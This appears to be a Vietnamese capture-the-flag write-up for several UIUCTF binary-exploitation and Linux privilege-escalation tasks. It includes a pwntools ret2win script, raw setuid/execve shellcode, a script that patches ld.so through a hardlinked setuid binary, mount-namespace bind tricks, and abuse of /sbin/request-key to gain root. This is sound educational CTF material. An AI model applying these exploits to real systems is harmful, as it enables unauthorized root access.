char name[64]; printf("Hello, welcome to the chain email generator! Please give the name of a recipient: "); gets(name); printf("Okay, here's your newly generated chainmail message!\n\nHello %s,\nHave you heard the news??? Send this email to 10 friends or else you'll have bad luck!\n\nYour friend,\nJim\n", name); return0; }
Một bài ret2win đơn giản nên mình không đi sâu. Đây là script giải:
gs=""" """ defstart(): if args.LOCAL: p=e.process() if args.GDB: gdb.attach(p,gdbscript=gs) pause() elif args.REMOTE: p=remote(args.HOST,int(args.PORT)) return p
p = start() p.sendline(b"A"*64+p64(0)+p64(0x000000000040133b)+p64(e.sym.give_flag)) p.interactive()
Trong máy ảo qemu, ta chạy ./init_chal zapp-setuid-1 rồi exec setpriv --init-groups --reset-env --reuid user --regid user bash -l để setup đúng môi trường như trên remote.
Ta thấy được file exe là một setuid binary:
Trong đó nó sẽ cần thư viện ld-linux-x86-64.so.2, lib.so và libc.so.6:
Hơi lạ vì binary lại được mmap địa chỉ cao hơn địa chỉ của các thư viện, thông thường địa chỉ của các thư viện như libc lẽ ra phải cao hơn binary thực thi.
Vậy nên mình sẽ xem thử source code của chương trình.
ld_fd = _zapps_sys_open(ld, O_RDONLY | O_CLOEXEC); if (ld_fd < 0) _zapps_die("Zapps: Fatal: failed to open ld.so\n");
if (_zapps_sys_read(ld_fd, &ld_ehdr, sizeof(ld_ehdr)) != sizeof(ld_ehdr)) _zapps_die("Zapps: Fatal: failed to read EHDR from ld.so\n");
if (_zapps_sys_lseek(ld_fd, ld_ehdr.e_phoff, SEEK_SET) != ld_ehdr.e_phoff) _zapps_die("Zapps: Fatal: failed to seek to PHDR in ld.so\n"); for (i = 0; i < ld_ehdr.e_phnum; i++) { if (_zapps_sys_read(ld_fd, &ld_phdr, sizeof(ld_phdr)) != sizeof(ld_phdr)) _zapps_die("Zapps: Fatal: failed to read PHDR from ld.so\n");
ld_base_addr = _zapps_sys_mmap(NULL, max_map, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (IS_ERR(ld_base_addr)) _zapps_die("Zapps: Fatal: failed to reserve memory for ld.so\n");
if (_zapps_sys_lseek(ld_fd, ld_ehdr.e_phoff, SEEK_SET) != ld_ehdr.e_phoff) _zapps_die("Zapps: Fatal: failed to seek to PHDR in ld.so\n"); for (i = 0; i < ld_ehdr.e_phnum; i++) { if (_zapps_sys_read(ld_fd, &ld_phdr, sizeof(ld_phdr)) != sizeof(ld_phdr)) _zapps_die("Zapps: Fatal: failed to read PHDR from ld.so\n");
/* Patch our own PHDR for so PT_ZAPPS_INTERP is back to PT_INTERP. Without this glibc ld.so complains: Inconsistency detected by ld.so: rtld.c: 1291: rtld_setup_main_map: Assertion `GL(dl_rtld_map).l_libname' failed! */ self_phdr = (void *)*_zapps_getauxval_ptr(auxv, AT_PHDR); self_phdr_end = self_phdr + *_zapps_getauxval_ptr(auxv, AT_PHNUM);
mem_fd = _zapps_sys_open((char []){"/proc/self/mem"}, O_RDWR | O_CLOEXEC); if (mem_fd < 0) _zapps_die("Zapps: Fatal: failed to open /proc/self/mem\n");
for (; self_phdr < self_phdr_end; self_phdr++) { if (self_phdr->p_type != PT_ZAPPS_INTERP) continue;
Ở đây ta chỉ cần tập trung vào hàm _zapps_start và hàm _zapps_main.
Hàm _zapps_start sẽ gọi hàm _zapps_main ra rồi sau đó mới gọi entry point của ld.
Ở hàm _zapps_main, nó kiểm tra realpath của file thực thi: _zapps_sys_readlink((char []){"/proc/self/exe"}, ld, PATH_MAX);, rồi dần dần mmap các file trong thư mục đó vào, đó chính là lý do địa chỉ của thư viện lại thấp hơn binary, chưa kể điều này dẫn đến việc các file thư viện phải cùng thư mục với file thực thi.
Vì file binary là của root nên ta không có cách nào di chuyển nó được, đến lúc này mình xem hint của đề là CVE-2009-0876.
Hmm, mình kiểm tra thì ở challenge này thì protected_hardlinks được set = 0.
Vậy nên mình sẽ thử tạo hardlink exe ra ngoài thư mục /home/user.
Khi ta thực thi bằng file hardlink, /proc/self/exe sẽ là symlink tới /home/user/exe, từ đó nó sẽ tìm thư viện trong thư mục /home/user thay vì /usr/lib/zapps/build.
Bây giờ đơn giải mình chỉ cần copy file ld ra ngoài và sửa phần code ở entry-point của nó thành shellcode setuid(0); execve("/bin/sh",{"/bin/sh,0},0).
Ở máy ảo qemu này có python nên mình viết script python cho tiện:
import os os.system("ln /usr/lib/zapps/build/exe") # for only zapp1 os.system("cp /usr/lib/zapps/build/libc.so.6 .") os.system("cp /usr/lib/zapps/build/ld-linux-x86-64.so.2 .")
f = open("ld-linux-x86-64.so.2","rb") data = f.read() f.close()
... staticvoidvirophage_write_virus(constchar *path) { /* load_elf_phdrs wants at least one segment, else it errors */ target_ulong phage = virophage_request_phage();
r = _vp_sys_write(fd, &data, sizeof(data)); if (r < 0) _vp_error(1, _vp_errno, "write(virus)"); if (r != sizeof(data)) _vp_error(1, 0, "write(virus): bad size written");
_vp_sys_close(fd); } ...
Mình thấy đáng lưu ý nhất ở hàm virophage_write_virus, biến phage là giá trị do người dùng nhập vào thông qua hàm virophage_request_phage, phage chính là entry-point cho một file elf có tên là /tmp/virus.
Điều đáng lưu ý ở đây là file /tmp/virus không có text segment.
1 2 3 4 5 6 7 8 9 10 11
... virophage_write_virus("/tmp/virus");
if (_vp_sys_setuid(0) < 0) _vp_error(1, _vp_errno, "setuid(0)"); if (_vp_sys_personality(ADDR_NO_RANDOMIZE) < 0) _vp_error(1, _vp_errno, "personality(ADDR_NO_RANDOMIZE)");
Đáng chú ý hơn là ở hàm virophage_main, nó set ADDR_NO_RANDOMIZE và truyền envp vào hàm execve thực thi /tmp/virus.
Ở local, mình debug bằng root user:
… thì mình phát hiện ra stack được set là rwx, để ý là envp của process cha được truyền vào, thế là mình nghĩ đến việc chèn shellcode vào envp.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
""" Debug kernel with qemu Shellcode in 0xffffdf4b """ pad = b"HeheIamHere" pad += b'\x90'*0x100 f = open("lol","wb") f.write(pad) shellcode = b"\x31\xC0\x31\xDB\xB0\x17\xCD\x80\x31\xC0\x99\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50\x53\x89\xE1\xB0\x0B\xCD\x80" f.write(shellcode) f.close() """ export VTM=$(cat lol) """
Đề cho luôn cả kernel, nên mình sẽ debug luôn cả kernel để tìm địa chỉ shellcode.
Mình thấy được địa chỉ shellcode tầm 0xffffdebe đổ xuống, mình sẽ test lại khi không có debugger attach.
Flag uiuctf{windows_defender_wont_catch_this_bc238ba4}.
…
Còn 2 bài Zapping a Setuid 2 và Am I not root?, tuy sau giải mình mới làm ra, tuy nhiên đến giờ chưa thấy có ai viết write-up nên mình sẽ viết wu chỉ với mục đích chia sẻ 🐸.
Zapping a Setuid 2
Bài này đã bật protected_hardlinks nên ta không thể xài trick như phần 1.
Như hint đề đưa , mình sẽ xem các file patch có gì.
Đáng chú ý là :
0001-fs-namespace-Allow-unpriv-OPEN_TREE_CLONE.patch: cho phép unpriv gọi syscall open_tree.
0002-fs-namespace-Allow-generic-loopback-mount-without-re.patch: cho phép mount loopback không cần filetype là nsfs.
NSFS (NullFS) là một file system ảo có sẵn trong kernel của Linux.
Nó được gọi là NullFS vì nó không thực sự đại diện cho bất kỳ thiết bị lưu trữ vật lý hoặc file system nào.
Thay vào đó, nó cung cấp một cách để xuất các cấu trúc dữ liệu nội bộ của kernel dưới dạng các file có thể được truy cập bởi các tiến trình user-space.
(Yah, kiến thức mới)
0003-fs-namespace-Check-userns-instead-of-mntns-in-mnt_ma.patch: check user-namespace thay vì mount-namespace trong hàm mnt_may_suid.
Hàm mnt_may_suid trả về true là một trong những điều kiện để cho phép một file suid binary khi thực thi có chạy được với quyền root hay không. Mình đoán được điều này thông qua đoạn code này.
Bây giờ mình muốn mount bind /usr/lib/zapps/build/ tới /home/user ( tức là file nào có sẵn trên /home/user rồi thì không mount qua /usr/lib/zapps/build/ nữa ).
Ta tận dụng open_tree và move_mount để làm điều này, tuy nhiên để move_mount thành công thì ta phải thực hiện trên namespace mới.
1 2 3 4 5 6 7 8 9 10 11 12 13
intmain(int argc,char** argv, char** envp){ int ret; int pid = fork(); if(!pid){ if (unshare(CLONE_NEWNS|CLONE_NEWUSER)) perror("unshare"); if (mount("/usr/lib/zapps/build", "/home/user", NULL, MS_BIND, NULL)); perror("mount build"); getchar(); exit(0); } ... }
Ở process con, ta đã có /usr/lib/zapps/build mount bind tới /home/user, bây giờ mình chỉ cần share rootfs từ process con tới process cha:
P/s: fd cùng nằm trong user-namespace cha nhưng nó vẫn nằm trong mount-namespace con, do hàm mnt_may_suid được patch lại nên ta mới có được quyền root.
Check source, ta thấy ta được một root shell ở namespace khác , không thể đọc trực tiếp file flag.
Mình thấy có thể ghi đè được /sbin/modprobe, nên mình nghĩ ngay đến việc trigger kernel gọi call_modprobe.
Không có gì xảy ra, để ý hint của đề là I disabled coredumps and modules. What else are there?, hàm call_modprobe nằm trong kmod.c nên mình nghĩ nó cũng đã bị chặn.
Bản chất hàm call_modprobe cũng phải gọi hàm call_usermodehelper_setup để thực thi binary usermod ở kernelmode. Mình đi tìm các hàm gọi call_usermodehelper_setup:
Đề chặn hết coredumps và modules nên mình nghĩ đến việc coi thử hàm request_key:
/* * Request userspace finish the construction of a key * - execute "/sbin/request-key <op> <key> <uid> <gid> <keyring> <keyring> <keyring>" */ staticintcall_sbin_request_key(struct key *authkey, void *aux) { staticcharconst request_key[] = "/sbin/request-key"; ... /* set up a minimal environment */ i = 0; envp[i++] = "HOME=/"; envp[i++] = "PATH=/sbin:/bin:/usr/sbin:/usr/bin"; envp[i] = NULL;
/* set up the argument list */ i = 0; argv[i++] = (char *)request_key; argv[i++] = (char *)rka->op; argv[i++] = key_str; argv[i++] = uid_str; argv[i++] = gid_str; argv[i++] = keyring_str[0]; argv[i++] = keyring_str[1]; argv[i++] = keyring_str[2]; argv[i] = NULL;
/* do it */ ret = call_usermodehelper_keys(request_key, argv, envp, keyring, UMH_WAIT_PROC); kdebug("usermode -> 0x%x", ret); ... }
Để ý hàm call_sbin_request_key sẽ thực thi /sbin/request-key <op> <key> <uid> <gid> <keyring> <keyring> <keyring> thông qua hàm call_usermodehelper_keys.
Check trên qemu không có file /sbin/request-key, nên càng làm mình nghi ngờ chính là inject /sbin/request-key vào :
Mình sẽ thử để /sbin/request-key sym tới /home/user/x rồi gọi syscall request-key ra:
1 2 3 4 5 6
#include<linux/keyctl.h>/* Definition of KEY* constants */ #include<sys/syscall.h>/* Definition of SYS_* constants */ #include<unistd.h> intmain(int argc, char *argv[]){ syscall(SYS_request_key,"user","mtk:key1","Payload data",KEY_SPEC_SESSION_KEYRING); }
Qua giải này mình đã có cơ hội được tìm hiểu về namespace, thứ công nghệ chính là tính năng giúp Linux kernel phân chia ra các container, mà chúng ta thường hay sử dụng thông qua Docker. Cũng từ giải này mình rút ra được vài kinh nghiệm để cho những giải lần sau thể hiện tốt hơn.